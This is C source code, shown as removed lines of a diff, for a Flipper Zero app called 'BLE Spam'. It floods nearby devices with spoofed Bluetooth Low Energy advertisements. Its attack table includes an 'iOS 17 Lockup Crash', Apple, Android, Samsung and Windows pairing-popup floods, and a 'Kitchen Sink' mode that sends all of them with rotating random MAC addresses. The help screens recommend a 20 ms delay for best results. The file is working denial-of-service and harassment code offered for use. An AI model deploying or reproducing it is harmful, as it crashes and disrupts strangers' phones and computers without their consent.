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- #include "ble_spam.h"
- #include <gui/gui.h>
- #include <furi_hal_bt.h>
- #include <gui/elements.h>
- #include "protocols/_protocols.h"
- // Hacked together by @Willy-JL
- // Custom adv API by @Willy-JL (idea by @xMasterX)
- // iOS 17 Crash by @ECTO-1A
- // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
- // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
- // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
- static Attack attacks[] = {
- {
- .title = "The Kitchen Sink",
- .text = "Flood all attacks at once",
- .protocol = NULL,
- .payload =
- {
- .random_mac = true,
- .cfg = {},
- },
- },
- {
- .title = "iOS 17 Lockup Crash",
- .text = "Newer iPhones, long range",
- .protocol = &protocol_continuity,
- .payload =
- {
- .random_mac = false,
- .cfg =
- {
- .continuity =
- {
- .type = ContinuityTypeCustomCrash,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Apple Action Modal",
- .text = "Lock cooldown, long range",
- .protocol = &protocol_continuity,
- .payload =
- {
- .random_mac = false,
- .cfg =
- {
- .continuity =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Apple Device Popup",
- .text = "No cooldown, close range",
- .protocol = &protocol_continuity,
- .payload =
- {
- .random_mac = false,
- .cfg =
- {
- .continuity =
- {
- .type = ContinuityTypeProximityPair,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Android Device Connect",
- .text = "Reboot cooldown, long range",
- .protocol = &protocol_fastpair,
- .payload =
- {
- .random_mac = true,
- .cfg =
- {
- .fastpair = {},
- },
- },
- },
- {
- .title = "Samsung Buds Popup",
- .text = "No cooldown, long range",
- .protocol = &protocol_easysetup,
- .payload =
- {
- .random_mac = true,
- .cfg =
- {
- .easysetup =
- {
- .type = EasysetupTypeBuds,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Samsung Watch Pair",
- .text = "No cooldown, long range",
- .protocol = &protocol_easysetup,
- .payload =
- {
- .random_mac = true,
- .cfg =
- {
- .easysetup =
- {
- .type = EasysetupTypeWatch,
- .data = {},
- },
- },
- },
- },
- {
- .title = "Windows Device Found",
- .text = "No cooldown, short range",
- .protocol = &protocol_swiftpair,
- .payload =
- {
- .random_mac = true,
- .cfg =
- {
- .swiftpair = {},
- },
- },
- },
- };
- #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
- static uint16_t delays[] = {20, 50, 100, 200};
- typedef struct {
- Ctx ctx;
- View* main_view;
- bool lock_warning;
- uint8_t lock_count;
- FuriTimer* lock_timer;
- bool resume;
- bool advertising;
- uint8_t delay;
- FuriThread* thread;
- int8_t index;
- } State;
- NotificationMessage blink_message = {
- .type = NotificationMessageTypeLedBlinkStart,
- .data.led_blink.color = LightBlue | LightGreen,
- .data.led_blink.on_time = 10,
- .data.led_blink.period = 100,
- };
- const NotificationSequence blink_sequence = {
- &blink_message,
- &message_do_not_reset,
- NULL,
- };
- static void start_blink(State* state) {
- uint16_t period = delays[state->delay];
- if(period <= 100) period += 30;
- blink_message.data.led_blink.period = period;
- notification_message_block(state->ctx.notification, &blink_sequence);
- }
- static void stop_blink(State* state) {
- notification_message_block(state->ctx.notification, &sequence_blink_stop);
- }
- static int32_t adv_thread(void* _ctx) {
- State* state = _ctx;
- uint8_t size;
- uint16_t delay;
- uint8_t* packet;
- uint8_t mac[GAP_MAC_ADDR_SIZE];
- Payload* payload = &attacks[state->index].payload;
- const Protocol* protocol = attacks[state->index].protocol;
- if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
- if(state->ctx.led_indicator) start_blink(state);
- while(state->advertising) {
- if(protocol) {
- protocol->make_packet(&size, &packet, &payload->cfg);
- } else {
- protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
- }
- furi_hal_bt_custom_adv_set(packet, size);
- free(packet);
- if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
- delay = delays[state->delay];
- furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
- furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
- furi_hal_bt_custom_adv_stop();
- }
- if(state->ctx.led_indicator) stop_blink(state);
- return 0;
- }
- static void toggle_adv(State* state) {
- if(state->advertising) {
- state->advertising = false;
- furi_thread_flags_set(furi_thread_get_id(state->thread), true);
- furi_thread_join(state->thread);
- if(state->resume) furi_hal_bt_start_advertising();
- } else {
- state->advertising = true;
- state->resume = furi_hal_bt_is_active();
- furi_hal_bt_stop_advertising();
- furi_thread_start(state->thread);
- }
- }
- #define PAGE_MIN (-4)
- #define PAGE_MAX ATTACKS_COUNT
- enum {
- PageHelpApps = PAGE_MIN,
- PageHelpDelay,
- PageHelpDistance,
- PageHelpInfoConfig,
- PageStart = 0,
- PageEnd = ATTACKS_COUNT - 1,
- PageAboutCredits = PAGE_MAX,
- };
- static void draw_callback(Canvas* canvas, void* _ctx) {
- State* state = *(State**)_ctx;
- const char* back = "Back";
- const char* next = "Next";
- if(state->index < 0) {
- back = "Next";
- next = "Back";
- }
- switch(state->index) {
- case PageStart - 1:
- next = "Spam";
- break;
- case PageStart:
- back = "Help";
- break;
- case PageEnd:
- next = "About";
- break;
- case PageEnd + 1:
- back = "Spam";
- break;
- }
- const Attack* attack =
- (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
- const Payload* payload = attack ? &attack->payload : NULL;
- const Protocol* protocol = attack ? attack->protocol : NULL;
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
- canvas_draw_str(canvas, 14, 12, "BLE Spam");
- switch(state->index) {
- case PageHelpApps:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Some Apps\e# interfere\n"
- "with the attacks, stay on\n"
- "homescreen for best results",
- false);
- break;
- case PageHelpDelay:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Delay\e# is time between\n"
- "attack attempts (top right),\n"
- "keep 20ms for best results",
- false);
- break;
- case PageHelpDistance:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "\e#Distance\e# varies greatly:\n"
- "some are long range (>30 m)\n"
- "others are close range (<1 m)",
- false);
- break;
- case PageHelpInfoConfig:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
- elements_text_box(
- canvas,
- 4,
- 16,
- 120,
- 48,
- AlignLeft,
- AlignTop,
- "See \e#more info\e# and change\n"
- "\e#attack options\e# by holding\n"
- "Ok on each attack page",
- false);
- break;
- case PageAboutCredits:
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
- elements_text_box(
- canvas,
- 4,
- 16,
- 122,
- 48,
- AlignLeft,
- AlignTop,
- "App+Spam: \e#WillyJL\e# XFW\n"
- "Apple+Crash: \e#ECTO-1A\e#\n"
- "Android+Win: \e#Spooks4576\e#\n"
- " Version \e#3.3\e#",
- false);
- break;
- default: {
- if(!attack) break;
- if(state->ctx.lock_keyboard && !state->advertising) {
- // Forgive me Lord for I have sinned by handling state in draw
- toggle_adv(state);
- }
- char str[32];
- canvas_set_font(canvas, FontBatteryPercent);
- snprintf(str, sizeof(str), "%ims", delays[state->delay]);
- canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
- canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
- canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
- canvas_set_font(canvas, FontBatteryPercent);
- snprintf(
- str,
- sizeof(str),
- "%02i/%02i: %s",
- state->index + 1,
- ATTACKS_COUNT,
- protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
- canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
- canvas_set_font(canvas, FontPrimary);
- canvas_draw_str(canvas, 4, 33, attack->title);
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 4, 46, attack->text);
- elements_button_center(canvas, state->advertising ? "Stop" : "Start");
- break;
- }
- }
- if(state->index > PAGE_MIN) {
- elements_button_left(canvas, back);
- }
- if(state->index < PAGE_MAX) {
- elements_button_right(canvas, next);
- }
- if(state->lock_warning) {
- canvas_set_font(canvas, FontSecondary);
- elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
- elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
- canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
- canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
- canvas_draw_dot(canvas, 17, 61);
- }
- }
- static bool input_callback(InputEvent* input, void* _ctx) {
- View* view = _ctx;
- State* state = *(State**)view_get_model(view);
- bool consumed = false;
- if(state->ctx.lock_keyboard) {
- consumed = true;
- with_view_model(
- state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
- if(state->lock_count == 0) {
- furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
- }
- if(input->type == InputTypeShort && input->key == InputKeyBack) {
- state->lock_count++;
- }
- if(state->lock_count >= 3) {
- furi_timer_start(state->lock_timer, 1);
- }
- } else if(
- input->type == InputTypeShort || input->type == InputTypeLong ||
- input->type == InputTypeRepeat) {
- consumed = true;
- bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
- bool advertising = state->advertising;
- switch(input->key) {
- case InputKeyOk:
- if(is_attack) {
- if(input->type == InputTypeLong) {
- if(advertising) toggle_adv(state);
- state->ctx.attack = &attacks[state->index];
- scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
- scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
- } else if(input->type == InputTypeShort) {
- toggle_adv(state);
- }
- }
- break;
- case InputKeyUp:
- if(is_attack && state->delay < COUNT_OF(delays) - 1) {
- state->delay++;
- if(advertising) start_blink(state);
- }
- break;
- case InputKeyDown:
- if(is_attack && state->delay > 0) {
- state->delay--;
- if(advertising) start_blink(state);
- }
- break;
- case InputKeyLeft:
- if(state->index > PAGE_MIN) {
- if(advertising) toggle_adv(state);
- state->index--;
- }
- break;
- case InputKeyRight:
- if(state->index < PAGE_MAX) {
- if(advertising) toggle_adv(state);
- state->index++;
- }
- break;
- case InputKeyBack:
- if(advertising) toggle_adv(state);
- consumed = false;
- break;
- default:
- break;
- }
- }
- view_commit_model(view, consumed);
- return consumed;
- }
- static void lock_timer_callback(void* _ctx) {
- State* state = _ctx;
- if(state->lock_count < 3) {
- notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
- } else {
- state->ctx.lock_keyboard = false;
- }
- with_view_model(
- state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
- state->lock_count = 0;
- }
- static bool back_event_callback(void* _ctx) {
- Ctx* ctx = _ctx;
- return scene_manager_handle_back_event(ctx->scene_manager);
- }
- int32_t ble_spam(void* p) {
- UNUSED(p);
- State* state = malloc(sizeof(State));
- state->thread = furi_thread_alloc();
- furi_thread_set_callback(state->thread, adv_thread);
- furi_thread_set_context(state->thread, state);
- furi_thread_set_stack_size(state->thread, 4096);
- state->ctx.led_indicator = true;
- state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
- state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
- Gui* gui = furi_record_open(RECORD_GUI);
- state->ctx.view_dispatcher = view_dispatcher_alloc();
- view_dispatcher_enable_queue(state->ctx.view_dispatcher);
- view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
- view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
- state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
- state->main_view = view_alloc();
- view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
- with_view_model(
- state->main_view, State * *model, { *model = state; }, false);
- view_set_context(state->main_view, state->main_view);
- view_set_draw_callback(state->main_view, draw_callback);
- view_set_input_callback(state->main_view, input_callback);
- view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
- state->ctx.byte_input = byte_input_alloc();
- view_dispatcher_add_view(
- state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
- state->ctx.submenu = submenu_alloc();
- view_dispatcher_add_view(
- state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
- state->ctx.text_input = text_input_alloc();
- view_dispatcher_add_view(
- state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
- state->ctx.variable_item_list = variable_item_list_alloc();
- view_dispatcher_add_view(
- state->ctx.view_dispatcher,
- ViewVariableItemList,
- variable_item_list_get_view(state->ctx.variable_item_list));
- view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
- scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
- view_dispatcher_run(state->ctx.view_dispatcher);
- view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
- byte_input_free(state->ctx.byte_input);
- view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
- submenu_free(state->ctx.submenu);
- view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
- text_input_free(state->ctx.text_input);
- view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
- variable_item_list_free(state->ctx.variable_item_list);
- view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
- view_free(state->main_view);
- scene_manager_free(state->ctx.scene_manager);
- view_dispatcher_free(state->ctx.view_dispatcher);
- furi_record_close(RECORD_GUI);
- furi_record_close(RECORD_NOTIFICATION);
- furi_timer_free(state->lock_timer);
- furi_thread_free(state->thread);
- free(state);
- return 0;
- }
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